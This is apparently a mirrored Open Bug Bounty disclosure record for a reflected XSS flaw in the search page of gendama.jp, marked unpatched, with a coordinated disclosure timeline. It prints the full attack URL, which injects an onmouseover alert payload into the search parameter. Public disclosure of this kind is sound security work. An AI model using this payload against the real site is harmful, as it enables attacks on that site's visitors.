Lucene search

K
openbugbountyOzergokerOBB:143457
HistoryMar 26, 2016 - 10:09 p.m.

gendama.jp XSS vulnerability

2016-03-2622:09:00
ozergoker
www.openbugbounty.org
15
Vulnerable URL:
http://www.gendama.jp/search/neo/?searchMenu=service&word;=%22%20onmouseover=alert%28%22XSSPOSED%22%29%20%22&search;_type=and&point;_min=&point;_max=
Details:
Description Value
Patched: No
Latest check for patch: 26.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 4195
Google Pagerank 4
VIP website status: Yes
Check gendama.jp SSL connection: (Grade: C)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 26 March, 2016 22:09 GMT
Generic security notifications sent to website owner 26 March, 2016 22:11 GMT
Notification sent to subscribers (without technical details) 27 March, 2016 02:17 GMT
Vulnerability details disclosed by researcher 18 June, 2016 22:11 GMT